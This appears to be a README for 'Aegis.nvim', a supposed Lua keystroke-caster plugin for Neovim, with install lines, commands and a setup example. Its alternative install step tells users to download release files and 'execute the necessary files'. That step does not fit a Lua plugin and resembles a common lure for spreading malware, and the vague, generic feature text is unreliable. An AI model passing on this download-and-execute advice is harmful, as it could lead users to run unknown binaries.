Welcome to Aegis.nvim, a powerful keystroke caster designed specifically for Neovim. This plugin is built to be plugin-aware and adapts seamlessly to your workflow, even in challenging conditions.
- Plugin-Aware: Aegis.nvim intelligently interacts with other Neovim plugins, enhancing your overall experience.
- Adaptability: The keystroke caster adjusts its behavior based on the current context, ensuring smooth operation.
- Built-in Support: Comes with built-in features that simplify your workflow without the need for additional setup.
- Lua Integration: Written in Lua, this plugin takes advantage of Neovim's modern architecture, offering fast performance and easy customization.
To install Aegis.nvim, follow these steps:
-
Using a Plugin Manager: If you use a plugin manager like
Packerorvim-plug, add the following line to your configuration:For Packer:
use 'Gitello448/aegis.nvim'
For vim-plug:
Plug 'Gitello448/aegis.nvim' -
Download and Execute: Alternatively, you can download the latest release from the Releases section. After downloading, execute the necessary files to install the plugin.
Once installed, Aegis.nvim is ready to use. Here are some basic commands to get you started:
-
Start Casting: To begin casting keystrokes, use the command:
:AegisStart -
Stop Casting: To stop casting, simply run:
:AegisStop -
View Status: Check the current status of the keystroke caster with:
:AegisStatus
- Open Neovim and load a file.
- Start casting keystrokes.
- Perform your editing tasks.
- Stop casting to review the recorded keystrokes.
You can customize Aegis.nvim to fit your workflow. Here are some configuration options:
require('aegis').setup {
-- Enable or disable logging
logging = true,
-- Set the default casting speed
speed = 1.0,
-- Customize key mappings
mappings = {
start = '<Leader>cs',
stop = '<Leader>ce',
},
}You can adjust the key mappings to suit your preferences. The default mappings are:
- Start Casting:
<Leader>cs - Stop Casting:
<Leader>ce
We welcome contributions to Aegis.nvim! If you have ideas for improvements or find bugs, please follow these steps:
- Fork the repository.
- Create a new branch for your feature or fix.
- Make your changes and commit them.
- Open a pull request with a clear description of your changes.
Aegis.nvim is licensed under the MIT License. See the LICENSE file for more information.
For questions or support, please reach out to the maintainer:
- GitHub: Gitello448
- Email: gitello448@example.com
Thank you to the Neovim community for their support and contributions. Aegis.nvim is built on the foundation of collaborative development and shared knowledge.
For the latest updates and releases, please visit the Releases section.
This README provides an overview of Aegis.nvim, its features, installation, usage, and more. For further information, please explore the documentation and community resources. Thank you for using Aegis.nvim!